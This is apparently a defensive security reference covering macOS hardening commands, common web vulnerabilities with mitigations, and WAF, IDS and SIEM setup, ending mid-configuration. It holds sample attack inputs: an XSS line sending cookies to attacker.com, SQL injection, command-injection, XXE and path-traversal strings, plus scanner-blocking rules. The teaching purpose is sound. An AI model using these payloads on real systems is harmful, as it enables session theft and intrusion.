β οΈ DTrace requires SIP (System Integrity Protection) to be partially disabled on modern macOS. Use
Instruments.appGUI as a safer alternative.
# Check SIP status
csrutil status
# DTrace one-liners (macOS with DTrace enabled)
sudo dtrace -n 'syscall::open*:entry { printf("%s %s\n", execname, copyinstr(arg0)); }' # File opens
sudo dtrace -n 'syscall::write:entry { printf("%d %s %d\n", pid, execname, arg2); }' # Writes
sudo dtrace -n 'proc:::exec-success { printf("%s\n", curpsinfo->pr_psargs); }' # Process execution
# Instruments command-line (xctrace - modern replacement)
xctrace list devices # List devices
xctrace record --template "Time Profiler" --output ~/Desktop/trace.xtrace --duration 10s -- ./myapp
xctrace record --template "System Trace" --output ~/Desktop/sys.xtrace --duration 30s
# Activity Monitor from command line
top -o cpu # Sort by CPU
top -o rsize # Sort by memory
vm_stat # Virtual memory stats
vm_stat 1 # Continuous updates
# Boot to Recovery Mode
# Intel Mac: Hold Cmd+R at startup
# Apple Silicon: Hold power button, select Recovery
# Check FileVault status
fdesetup status
fdesetup list # List enabled users
sudo fdesetup enable # Enable FileVault
sudo fdesetup disable # Disable FileVault
# Time Machine from command line
tmutil listbackups # List all backups
tmutil latestbackup # Show latest backup path
tmutil startbackup # Start backup
tmutil startbackup --auto --block # Start and wait
# System Integrity Protection (SIP)
csrutil status # Check status
# To disable (in Recovery Terminal):
# csrutil disable
# Gatekeeper
spctl --status # Gatekeeper status
spctl --assess --verbose /Applications/MyApp.app # Assess an app
sudo spctl --master-disable # Disable Gatekeeper (not recommended)
# XProtect malware signatures
system_profiler SPInstallHistoryDataType | grep -A2 XProtect
ls /Library/Apple/System/Library/CoreServices/XProtect.bundle/Contents/Resources/
# Notarization check
xcrun stapler validate /Applications/MyApp.app
spctl --assess -vvvv /Applications/MyApp.app
β οΈ Important: All vulnerability descriptions below are provided strictly for educational and defensive purposes. No functional exploit code is included. The focus is understanding the attack vector and implementing mitigations.
SQL Injection occurs when user-supplied data is incorporated into a database query without proper sanitization, allowing an attacker to modify the queryβs logic.
Vulnerable Pattern:
# VULNERABLE β Never do this
username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
If an attacker inputs ' OR '1'='1, the query becomes:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'
-- This always evaluates to TRUE β authentication bypass!
Types:
# DEFENSE 1: Parameterized Queries (Prepared Statements) β THE GOLD STANDARD
import sqlite3
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
# Correct β parameters are never interpreted as SQL
username = request.form['username']
password = request.form['password']
cursor.execute("SELECT * FROM users WHERE username=? AND password=?", (username, password))
# Python with SQLAlchemy ORM
from sqlalchemy import text
result = db.session.execute(
text("SELECT * FROM users WHERE username=:username"),
{"username": username}
)
# DEFENSE 2: Stored Procedures (properly implemented)
# SQL Server example:
# CREATE PROCEDURE GetUser @Username NVARCHAR(50), @Password NVARCHAR(50)
# AS
# SELECT * FROM users WHERE Username=@Username AND Password=@Password
# GO
# DEFENSE 3: Input Validation
import re
def validate_username(username):
# Allow only alphanumeric and underscore
if not re.match(r'^[a-zA-Z0-9_]{3,30}$', username):
raise ValueError("Invalid username format")
return username
# DEFENSE 4: Web Application Firewall (WAF) rules
# Example Nginx + ModSecurity rule:
# SecRule ARGS "@detectSQLi" "id:100,phase:2,block,msg:'SQL Injection'"
# DEFENSE 5: Principle of least privilege for DB accounts
# Application DB user should only have SELECT, INSERT, UPDATE on needed tables
# NEVER use sa/root/admin DB account in application code
Additional Mitigations:
XSS occurs when an application includes user-supplied data in its output without proper escaping, allowing attackers to inject JavaScript that executes in victimsβ browsers.
Three Types:
<!-- VULNERABLE: Directly inserting user input into HTML -->
<!-- If user submits: <script>document.location='https://attacker.com/steal?c='+document.cookie</script> -->
<p>Hello, <%=username%>!</p>
// DEFENSE 1: Output Encoding β Escape for the correct context
// HTML encoding (use a library, don't write your own!)
// Node.js with DOMPurify:
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const purify = DOMPurify(window);
const clean = purify.sanitize(userInput);
// Python with html module:
import html
safe_output = html.escape(user_input)
// Java with OWASP Java Encoder:
// import org.owasp.encoder.Encode;
// String safeHtml = Encode.forHtml(userInput);
// DEFENSE 2: Content Security Policy (CSP) HTTP Header
// Nginx configuration:
// add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{RANDOM}'; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';" always;
// DEFENSE 3: HttpOnly and Secure Cookie Flags
// This prevents cookie theft via XSS even if it occurs
// Python Flask:
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
// DEFENSE 4: Use template engines that auto-escape
// Jinja2 (Python) β auto-escaping enabled:
// β safe (auto-escaped)
// β UNSAFE, only use for trusted content
// React β JSX auto-escapes:
// <p>{userInput}</p> β safe
// <p dangerouslySetInnerHTML= /> β UNSAFE
// DEFENSE 5: X-XSS-Protection header (legacy browsers)
// add_header X-XSS-Protection "1; mode=block" always;
References:
A buffer overflow occurs when a program writes more data to a buffer than it can hold, overwriting adjacent memory. In classic stack-based overflows, this can overwrite the functionβs return address.
Memory Layout (Simplified Stack Frame):
High Memory
+---------------------------+
| Function Arguments |
+---------------------------+
| Return Address | β Target: overwrite to control execution flow
+---------------------------+
| Saved Base Pointer (EBP) |
+---------------------------+
| Local Variable: buffer[] | β Vulnerable: insufficient bounds checking
| [64 bytes allocated] |
| [user writes 100 bytes!] | β Overflow!
+---------------------------+
Low Memory
// VULNERABLE C code pattern
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // No bounds check! If input > 64 bytes, overflow occurs
}
// SAFER alternatives
void safe_function(char *input) {
char buffer[64];
strncpy(buffer, input, sizeof(buffer) - 1); // Limit copy length
buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
// Even better: use strlcpy (BSD) or snprintf
snprintf(buffer, sizeof(buffer), "%s", input);
}
| Mitigation | Description | How it Helps |
|---|---|---|
| ASLR | Address Space Layout Randomization | Randomizes memory locations, making addresses unpredictable |
| Stack Canaries | Compiler places random value before return address | Detects stack corruption before function returns |
| NX/DEP | Non-Executable Stack / Data Execution Prevention | Prevents executing code injected into data areas |
| SafeStack | LLVM compiler feature | Separates safe and unsafe stacks |
| CFI | Control Flow Integrity | Restricts indirect calls/jumps to valid targets |
| PIE | Position Independent Executable | Works with ASLR for full randomization |
# Check binary security features on Linux
checksec --file=./myprogram # Install: apt install checksec
readelf -a ./myprogram | grep -E "GNU_STACK|RELRO|PIE"
# Enable stack protection in GCC
gcc -fstack-protector-strong -D_FORTIFY_SOURCE=2 -pie -fPIE -Wl,-z,relro,-z,now myapp.c -o myapp
# Verify ASLR is enabled on Linux
cat /proc/sys/kernel/randomize_va_space # 2 = full ASLR
# Enable ASLR
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
# Make permanent:
echo "kernel.randomize_va_space = 2" | sudo tee -a /etc/sysctl.conf
CSRF tricks a logged-in victim into unknowingly sending a forged request to a web application.
<!-- CSRF attack scenario: Attacker hosts a page with: -->
<!-- Victim visits attacker page while logged into bank -->
<!-- Browser automatically sends victim's cookies to bank -->
<img src="https://bank.com/transfer?amount=1000&to=attacker" style="display:none">
Defenses:
# DEFENSE 1: CSRF Tokens (Synchronizer Token Pattern)
# Flask-WTF example:
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
class TransferForm(FlaskForm):
amount = StringField('Amount')
submit = SubmitField('Transfer')
# Form automatically includes hidden CSRF token field
# DEFENSE 2: SameSite Cookie Attribute
# Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
# SameSite=Strict β cookie never sent in cross-site requests
# SameSite=Lax β cookie sent on top-level navigation only
# DEFENSE 3: Double Submit Cookie Pattern
# Server generates random token, client sends it both as cookie AND request param
# Attacker can't read cookie (same-origin policy), so can't forge the param
# DEFENSE 4: Check Origin/Referer Headers
# Verify that the Origin header matches expected origin
# (Can be absent from some requests, so use as secondary check only)
SSRF allows attackers to induce the server to make requests to internal resources.
Vulnerable Pattern:
# VULNERABLE: User controls the URL the server fetches
url = request.args.get('image_url')
response = requests.get(url) # Attacker could request http://169.254.169.254/latest/meta-data/
Defenses:
import ipaddress
from urllib.parse import urlparse
ALLOWED_SCHEMES = {'http', 'https'}
ALLOWED_DOMAINS = {'api.example.com', 'cdn.example.com'}
BLOCKED_RANGES = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'), # Link-local (AWS metadata)
ipaddress.ip_network('::1/128'), # IPv6 localhost
ipaddress.ip_network('fc00::/7'), # IPv6 private
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
# Check scheme
if parsed.scheme not in ALLOWED_SCHEMES:
return False
# Check domain whitelist
if parsed.hostname not in ALLOWED_DOMAINS:
return False
# Resolve and check IP
import socket
try:
ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
for blocked in BLOCKED_RANGES:
if ip in blocked:
return False
except Exception:
return False
return True
When user input is passed to a shell command without sanitization:
# VULNERABLE
filename = request.args.get('file')
os.system(f"convert {filename} output.pdf") # Attacker sends: file.jpg; cat /etc/passwd
# DEFENSE 1: Avoid shell=True, use argument lists
import subprocess
filename = request.args.get('file')
# Validate first
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', filename):
abort(400)
subprocess.run(['convert', filename, 'output.pdf'], shell=False, check=True)
# shell=False means no shell interpretation β ; | & etc. are literal chars
# DEFENSE 2: Use parameterized approaches for everything
# Never use shell=True unless absolutely necessary
# DEFENSE 3: Whitelist allowed input values
ALLOWED_FORMATS = {'jpg', 'png', 'gif', 'webp'}
ext = filename.rsplit('.', 1)[-1].lower()
if ext not in ALLOWED_FORMATS:
abort(400)
When untrusted data is deserialized without validation:
# VULNERABLE: Python pickle deserialization
import pickle
# Pickle can execute arbitrary code during deserialization
data = request.get_data()
obj = pickle.loads(data) # NEVER deserialize untrusted pickle data!
# DEFENSE 1: Use safe formats (JSON) instead of pickle/java serialization
import json
data = request.get_json()
obj = json.loads(data) # JSON cannot execute code
# DEFENSE 2: If serialization is needed, use HMAC signature verification
import hmac, hashlib
SECRET_KEY = os.environ['SECRET_KEY']
def serialize_safe(obj):
data = pickle.dumps(obj)
sig = hmac.new(SECRET_KEY.encode(), data, hashlib.sha256).hexdigest()
return sig + ':' + data.hex()
def deserialize_safe(payload):
sig, data_hex = payload.split(':', 1)
data = bytes.fromhex(data_hex)
expected_sig = hmac.new(SECRET_KEY.encode(), data, hashlib.sha256).hexdigest()
if not hmac.compare_digest(sig, expected_sig):
raise ValueError("Invalid signature β data tampered!")
return pickle.loads(data)
# DEFENSE 3: For Java, use ObjectInputFilter or avoid Java serialization entirely
XML External Entity (XXE) attacks exploit XML parsers that process external entity declarations:
<!-- Attacker-supplied XML: -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>
<!-- The parser reads /etc/passwd and includes it in the response! -->
Defenses:
# Python lxml β disable external entities
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False, # Disable entity resolution
no_network=True, # Disable network access
dtd_validation=False, # Disable DTD validation
load_dtd=False # Don't load external DTDs
)
tree = etree.fromstring(xml_data, parser=parser)
# Python defusedxml library β safe XML parsing
import defusedxml.ElementTree as ET
tree = ET.fromstring(xml_data) # Safe by default
# Java β disable XXE in DocumentBuilderFactory:
# dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
# dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
# dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
# dbf.setXIncludeAware(false);
# dbf.setExpandEntityReferences(false);
# VULNERABLE: User controls file path
filename = request.args.get('file')
with open(f'/var/www/files/{filename}', 'r') as f:
# Attacker sends: ../../etc/passwd
return f.read()
# DEFENSE 1: os.path.realpath + prefix check
import os
BASE_DIR = '/var/www/files'
def safe_file_open(filename):
# Resolve to absolute path (resolves ../ and symlinks)
requested_path = os.path.realpath(os.path.join(BASE_DIR, filename))
# Verify the resolved path starts with our base dir
if not requested_path.startswith(BASE_DIR + os.sep):
raise PermissionError("Access denied: Path traversal detected")
return open(requested_path, 'r')
# DEFENSE 2: Whitelist allowed filenames/characters
import re
if not re.match(r'^[a-zA-Z0-9_\-]+\.(txt|pdf|png)$', filename):
abort(400, "Invalid filename")
# DEFENSE 3: Use pathlib (Python 3.6+)
from pathlib import Path
base = Path('/var/www/files').resolve()
requested = (base / filename).resolve()
if not str(requested).startswith(str(base)):
abort(403)
Insecure Direct Object Reference: Accessing resources by directly manipulating an identifier.
# VULNERABLE: No authorization check β user can access any user's data
@app.route('/api/users/<int:user_id>/profile')
def get_profile(user_id):
return db.query(User).get(user_id) # Any authenticated user can access any profile!
# DEFENSE: Always verify ownership/permission
@app.route('/api/users/<int:user_id>/profile')
@login_required
def get_profile(user_id):
# Check that the requesting user owns this resource (or is admin)
if current_user.id != user_id and not current_user.is_admin:
abort(403, "Access denied")
user = db.query(User).get(user_id)
if not user:
abort(404)
return jsonify(user.to_dict())
# DEFENSE 2: Use indirect references (map UUIDs/tokens to IDs server-side)
import uuid
# When creating a resource:
token = str(uuid.uuid4())
db.save({'token': token, 'user_id': user_id, 'resource_id': resource_id})
# When accessing: look up by token, then verify permission
resource = db.get_by_token(token)
if resource.user_id != current_user.id:
abort(403)
Time-of-Check to Time-of-Use: A race between checking a condition and using the resource.
# VULNERABLE TOCTOU pattern
def withdraw(amount):
balance = db.get_balance(user_id) # CHECK
if balance >= amount:
time.sleep(0) # Race window here!
db.update_balance(user_id, balance - amount) # USE
return True
# Two simultaneous requests can both pass the check!
# DEFENSE 1: Atomic database operations
def withdraw_safe(amount):
result = db.execute("""
UPDATE accounts
SET balance = balance - %s
WHERE user_id = %s AND balance >= %s
RETURNING balance
""", (amount, user_id, amount))
if not result:
return False # Insufficient funds
return True
# DEFENSE 2: Database row locking
def withdraw_locked(amount):
with db.transaction():
# Lock the row for update
balance = db.execute(
"SELECT balance FROM accounts WHERE user_id=%s FOR UPDATE",
(user_id,)
).fetchone()
if balance >= amount:
db.execute(
"UPDATE accounts SET balance=balance-%s WHERE user_id=%s",
(amount, user_id)
)
return True
return False
# DEFENSE 3: Application-level mutex (distributed lock)
import redis
import uuid
def withdraw_with_lock(amount, user_id):
r = redis.Redis()
lock_key = f"lock:account:{user_id}"
lock_value = str(uuid.uuid4())
# Acquire lock with expiry
if r.set(lock_key, lock_value, nx=True, ex=5):
try:
return withdraw(amount)
finally:
# Release lock (check value to avoid releasing someone else's lock)
if r.get(lock_key) == lock_value.encode():
r.delete(lock_key)
else:
raise Exception("Could not acquire lock")
| Algorithm | Type | Status | Reason |
|---|---|---|---|
| MD5 | Hash | β Broken | Collision attacks, trivial rainbow tables |
| SHA-1 | Hash | β Deprecated | Practical collision attacks demonstrated |
| DES | Cipher | β Broken | 56-bit key, brute-forceable |
| 3DES | Cipher | β οΈ Legacy | SWEET32 attack, slow |
| RC4 | Stream | β Broken | Statistical biases exploitable |
| ECB mode | Block mode | β Insecure | Patterns visible in ciphertext |
| RSA < 2048-bit | Asymmetric | β Weak | Factorizable |
| DSA | Signing | β οΈ Caution | Requires perfect RNG; nonce reuse catastrophic |
# PASSWORD HASHING β Use bcrypt, Argon2, or scrypt (NOT SHA/MD5!)
from argon2 import PasswordHasher
ph = PasswordHasher(time_cost=3, memory_cost=65536, parallelism=4)
hash = ph.hash(password)
ph.verify(hash, password) # Verify
# OR bcrypt
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
bcrypt.checkpw(password.encode(), hashed)
# SYMMETRIC ENCRYPTION β AES-256-GCM (authenticated encryption)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
key = os.urandom(32) # 256-bit key β NEVER hardcode, use key management
nonce = os.urandom(12) # 96-bit nonce β NEVER reuse with same key!
aad = b"additional_authenticated_data" # Optional
aesgcm = AESGCM(key)
ciphertext = aesgcm.encrypt(nonce, plaintext, aad)
plaintext = aesgcm.decrypt(nonce, ciphertext, aad) # Raises exception if tampered
# ASYMMETRIC ENCRYPTION β RSA-OAEP or ECDH
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
public_key = private_key.public_key()
# Encrypt
ciphertext = public_key.encrypt(
message,
padding.OAEP(mgf=padding.MGF1(hashes.SHA256()), algorithm=hashes.SHA256(), label=None)
)
# DIGITAL SIGNATURES β Ed25519 (preferred) or RSA-PSS
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
private_key = Ed25519PrivateKey.generate()
signature = private_key.sign(message)
public_key = private_key.public_key()
public_key.verify(signature, message) # Raises if invalid
# HMAC for message authentication
import hmac, hashlib, os
key = os.urandom(32)
mac = hmac.new(key, message, hashlib.sha256).digest()
# Verify β use hmac.compare_digest to prevent timing attacks
hmac.compare_digest(mac, received_mac)
# RANDOM NUMBER GENERATION β Use os.urandom or secrets, NEVER random module
import secrets
token = secrets.token_urlsafe(32) # URL-safe random token
otp = secrets.randbelow(1000000) # Cryptographically secure random int
Supply chain attacks compromise software before it reaches end users β targeting package registries, build systems, or dependencies.
Notable Examples: SolarWinds (2020), XZ Utils backdoor (2024), Log4Shell, event-stream npm package
Defenses:
# Python: Pin dependencies with hashes
pip install --require-hashes -r requirements.txt
# Generate hashed requirements:
pip-compile --generate-hashes requirements.in
# requirements.txt with hashes:
# requests==2.31.0 \
# --hash=sha256:58cd2187423d77b898... \
# --hash=sha256:...
# npm: Use lockfiles and audit
npm audit # Check for known vulnerabilities
npm audit fix # Auto-fix where possible
npm ci # Install from lockfile (reproducible)
npm install --save-exact # Pin exact versions
# Verify package integrity
npm pack package-name # Download and inspect before installing
# Use private npm registry with curation
# Tools: Verdaccio, Artifactory, Nexus
# GitHub Actions: Pin actions to specific commit SHA
# VULNERABLE:
# uses: actions/checkout@v3
# SAFE:
# uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608
# Sigstore / Cosign β Sign and verify artifacts
cosign sign myimage:latest
cosign verify myimage:latest --certificate-identity=...
# SBOM (Software Bill of Materials) β track all components
syft myimage:latest -o spdx-json > sbom.json
grype myimage:latest # Scan SBOM for vulnerabilities
SafeLine is a self-hosted WAF based on Nginx with intelligent detection.
# Install SafeLine via Docker (recommended)
curl -fsSL https://waf.chaitin.com/release/latest/manager.sh | sudo bash
# Or manual Docker Compose installation
git clone https://github.com/chaitin/SafeLine.git
cd SafeLine
cp .env.example .env
# Edit .env: set SAFELINE_DIR, POSTGRES_PASSWORD, SUBNET_PREFIX
sudo docker-compose up -d
# Access admin panel at https://your-server:9443
# Default credentials shown on first run
# Install ModSecurity + Nginx
sudo apt install libmodsecurity3 libnginx-mod-http-modsecurity
# Download OWASP Core Rule Set
cd /etc/modsecurity
sudo git clone https://github.com/coreruleset/coreruleset.git
sudo cp coreruleset/crs-setup.conf.example coreruleset/crs-setup.conf
# Nginx ModSecurity configuration
cat > /etc/nginx/conf.d/modsecurity.conf << 'EOF'
modsecurity on;
modsecurity_rules_file /etc/nginx/modsecurity.d/modsecurity.conf;
EOF
cat > /etc/nginx/modsecurity.d/modsecurity.conf << 'EOF'
Include /etc/modsecurity/modsecurity.conf
Include /etc/modsecurity/coreruleset/crs-setup.conf
Include /etc/modsecurity/coreruleset/rules/*.conf
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess Off
SecAuditLog /var/log/nginx/modsec_audit.log
SecAuditEngine RelevantOnly
SecAuditLogParts ABIJDEFHZ
EOF
sudo nginx -t && sudo systemctl reload nginx
# Monitor WAF logs
sudo tail -f /var/log/nginx/modsec_audit.log
# Custom Nginx rate limiting + basic WAF
http {
# Rate limiting zones
limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
limit_req_zone $binary_remote_addr zone=api:10m rate=30r/s;
# Connection limiting
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
server {
# Apply rate limits
location / {
limit_req zone=general burst=20 nodelay;
limit_conn conn_limit 10;
}
location /api/auth/login {
limit_req zone=login burst=3 nodelay;
limit_req_status 429;
}
location /api/ {
limit_req zone=api burst=50 nodelay;
}
# Block common malicious patterns
if ($request_uri ~* "(union.*select|select.*from|insert.*into|drop.*table)") {
return 444; # Close connection without response
}
if ($request_uri ~* "(<script|javascript:|onerror=|onload=)") {
return 444;
}
if ($request_uri ~* "(\.\.\/|\.\.\\|%2e%2e%2f|%252e)") {
return 444;
}
# Block bad user agents
if ($http_user_agent ~* "(nikto|sqlmap|masscan|nmap|hydra|medusa)") {
return 444;
}
# Security headers
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self';" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
}
}
# Install Snort 3 on Ubuntu
sudo apt update
sudo apt install -y build-essential libpcap-dev libpcre3-dev libdnet-dev zlib1g-dev
# Download and install from source
wget https://www.snort.org/downloads/snort/snort3-3.x.x.x.tar.gz
tar xzf snort3-*.tar.gz
cd snort3-*
./configure_cmake.sh --prefix=/usr/local
cd build
make -j$(nproc)
sudo make install
# Download community rules
sudo mkdir -p /etc/snort/rules
wget https://www.snort.org/downloads/community/community-rules.tar.gz
sudo tar xzf community-rules.tar.gz -C /etc/snort/rules/
# Basic Snort configuration
sudo tee /etc/snort/snort.lua << 'EOF'
-- snort.lua basic config
HOME_NET = '192.168.1.0/24'
EXTERNAL_NET = '!$HOME_NET'
include 'snort_defaults.lua'
include 'file_magic.lua'
ips =
{
enable_builtin_rules = true,
include = RULE_PATH .. '/community.rules',
rules = [[
alert tcp any any -> $HOME_NET 22 (msg:"SSH Brute Force Attempt"; flow:to_server; threshold:type threshold, track by_src, count 5, seconds 60; sid:100001; rev:1;)
alert tcp any any -> $HOME_NET any (msg:"Potential Port Scan"; flags:S; threshold:type threshold, track by_src, count 20, seconds 5; sid:100002; rev:1;)
]],
}
alert_fast = { file = true, packet = false, limit = 10 }
EOF
# Run Snort in IDS mode
sudo snort -c /etc/snort/snort.lua -i eth0 -A alert_fast
# Run as service
sudo snort -c /etc/snort/snort.lua -i eth0 -D -l /var/log/snort/ -A alert_fast
# Install Suricata
sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt update
sudo apt install suricata
# Update rules
sudo suricata-update
sudo suricata-update list-sources
sudo suricata-update enable-source et/open # Emerging Threats
sudo suricata-update update # Download and apply
# Configure Suricata
sudo nano /etc/suricata/suricata.yaml
# Key settings:
# HOME_NET: "[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]"
# af-packet:
# - interface: eth0
# threads: 4
# Test configuration
sudo suricata -T -c /etc/suricata/suricata.yaml
# Start Suricata
sudo systemctl start suricata
sudo systemctl enable suricata
# Monitor alerts in real-time
sudo tail -f /var/log/suricata/fast.log
sudo tail -f /var/log/suricata/eve.json | python3 -m json.tool | grep "alert" -A5
# Custom rules
sudo tee /etc/suricata/rules/local.rules << 'EOF'
# Detect Nmap OS scan
alert tcp any any -> $HOME_NET any (msg:"Nmap OS Detection Scan"; flags:FPU; threshold: type threshold, track by_src, count 10, seconds 5; classtype:attempted-recon; sid:9000001; rev:1;)
# Detect SQL Injection attempts
alert http any any -> $HOME_NET any (msg:"SQL Injection Attempt"; content:"UNION"; nocase; content:"SELECT"; nocase; distance:0; within:20; classtype:web-application-attack; sid:9000002; rev:1;)
# Detect SSH password spraying
alert tcp any any -> $HOME_NET 22 (msg:"SSH Brute Force Detection"; flags:S; threshold:type both, track by_src, count 10, seconds 60; classtype:attempted-admin; sid:9000003; rev:1;)
# Detect crypto mining
alert dns any any -> any any (msg:"Crypto Mining Pool DNS Lookup"; content:"pool.supportxmr.com"; nocase; classtype:policy-violation; sid:9000004; rev:1;)
EOF
# Install Wazuh Manager
curl -sO https://packages.wazuh.com/4.x/wazuh-install.sh
sudo bash wazuh-install.sh -a # All-in-one installation (manager + indexer + dashboard)
# Install Wazuh Agent on endpoints
# Download agent installer from https://packages.wazuh.com/
# Linux agent:
wget https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.x.x-x_amd64.deb
sudo WAZUH_MANAGER='MANAGER_IP' dpkg -i ./wazuh-agent_4.x.x-x_amd64.deb
sudo systemctl start wazuh-agent
# Key Wazuh detection capabilities:
# - File Integrity Monitoring (FIM)
# - Log analysis and correlation
# - Rootkit detection
# - Active response (auto-block IPs)
# - Vulnerability detection
# - CIS benchmark assessment
# Custom Wazuh rules (in /var/ossec/etc/rules/local_rules.xml)
cat >> /var/ossec/etc/rules/local_rules.xml << 'EOF'
<group name="custom,">
<!-- Alert on sudo commands -->
<rule id="100001" level="6">
<if_sid>5401</if_sid>
<description>Sudo command executed</description>
</rule>
<!-- Alert on new user creation -->
<rule id="100002" level="10">
<if_sid>5902</if_sid>
<description>New user account created on system</description>
</rule>
</group>
EOF
sudo systemctl restart wazuh-manager
# Docker Compose for ELK Stack
cat > docker-compose-elk.yml << 'EOF'
version: '3.8'
services:
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:8.12.0
environment:
- discovery.type=single-node
- xpack.security.enabled=true
- ELASTIC_PASSWORD=changeme_strong_password
- "ES_JAVA_OPTS=-Xms4g -Xmx4g"
ulimits:
memlock:
soft: -1
hard: -1
volumes:
- elasticsearch_data:/usr/share/elasticsearch/data
ports:
- "9200:9200"
logstash:
image: docker.elastic.co/logstash/logstash:8.12.0
volumes:
- ./logstash/pipeline:/usr/share/logstash/pipeline
- ./logstash/config:/usr/share/logstash/config
ports:
- "5044:5044"
- "5000:5000"
environment:
- ELASTICSEARCH_HOST=elasticsearch:9200
- ELASTICSEARCH_USERNAME=elastic
- ELASTICSEARCH_PASSWORD=changeme_strong_password
depends_on:
- elasticsearch
kibana:
image: docker.elastic.co/kibana/kibana:8.12.0
environment:
- ELASTICSEARCH_HOSTS=http://elasticsearch:9200
- ELASTICSEARCH_USERNAME=elastic
- ELASTICSEARCH_PASSWORD=changeme_strong_password
ports:
- "5601:5601"
depends_on:
- elasticsearch
volumes:
elasticsearch_data:
EOF
docker compose -f docker-compose-elk.yml up -d
# Logstash pipeline for syslog
cat > logstash/pipeline/syslog.conf << 'EOF'
input {
syslog {
port => 5000
type => "syslog"
}
beats {
port => 5044
type => "beats"
}
}
filter {
if [type] == "syslog" {
grok {
match => { "message" => "%{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST:syslog_hostname} %{DATA:syslog_program}(?:\[%{POSINT:syslog_pid}\])?: %{GREEDYDATA:syslog_message}" }
}
date {
match => [ "syslog_timestamp", "MMM d HH:mm:ss", "MMM dd HH:mm:ss" ]
}
if [syslog_program] == "sshd" {
grok {
match => { "syslog_message" => "Failed password for %{USER:failed_user} from %{IP:src_ip}" }
tag_on_failure => []
}
}
}
}
output {
elasticsearch {
hosts => ["elasticsearch:9200"]
user => "elastic"
password => "changeme_strong_password"
index => "logs-%{+YYYY.MM.dd}"
}
}
EOF
# Install Greenbone Community Edition via Docker
cat > docker-compose-gvm.yml << 'EOF'
version: "3.8"
services:
vulnerability-tests:
image: greenbone/vulnerability-tests
environment:
STORAGE_PATH: /var/lib/openvas/22.04/vt-data/nasl
volumes:
- vt_data_vol:/mnt
notus-data:
image: greenbone/notus-data
volumes:
- notus_data_vol:/mnt
scap-data:
image: greenbone/scap-data
volumes:
- scap_data_vol:/mnt
cert-bund-data:
image: greenbone/cert-bund-data
volumes:
- cert_data_vol:/mnt
dfn-cert-data:
image: greenbone/dfn-cert-data
volumes:
- cert_data_vol:/mnt
depends_on:
- cert-bund-data
data-objects:
image: greenbone/data-objects
volumes:
- data_objects_vol:/mnt
report-formats:
image: greenbone/report-formats
volumes:
- data_objects_vol:/mnt
depends_on:
- data-objects
gpg-data:
image: greenbone/gpg-data
volumes:
- gpg_data_vol:/mnt
redis-server:
image: greenbone/redis-server
volumes:
- redis_socket_vol:/run/redis/
pg-gvm:
image: greenbone/pg-gvm:stable
volumes:
- psql_data_vol:/var/lib/postgresql
gvmd:
image: greenbone/gvmd:stable
volumes:
- gvmd_data_vol:/var/lib/gvm
- scap_data_vol:/var/lib/gvm/scap-data/
- cert_data_vol:/var/lib/gvm/cert-data
- data_objects_vol:/var/lib/gvm/data-objects/gvmd
- vt_data_vol:/var/lib/openvas/plugins
- psql_data_vol:/var/lib/postgresql
- gvmd_socket_vol:/run/gvmd
- ospd_openvas_socket_vol:/run/ospd
ospd-openvas:
image: greenbone/ospd-openvas:stable
cap_add:
- NET_ADMIN
- NET_RAW
volumes:
- gpg_data_vol:/etc/openvas/gnupg
- vt_data_vol:/var/lib/openvas/plugins
- notus_data_vol:/var/lib/notus
- ospd_openvas_socket_vol:/run/ospd
- redis_socket_vol:/run/redis/
depends_on:
redis-server:
condition: service_started
gsa:
image: greenbone/gsa:stable
ports:
- 9392:80
depends_on:
- gvmd
volumes:
gpg_data_vol:
scap_data_vol:
cert_data_vol:
data_objects_vol:
gvmd_data_vol:
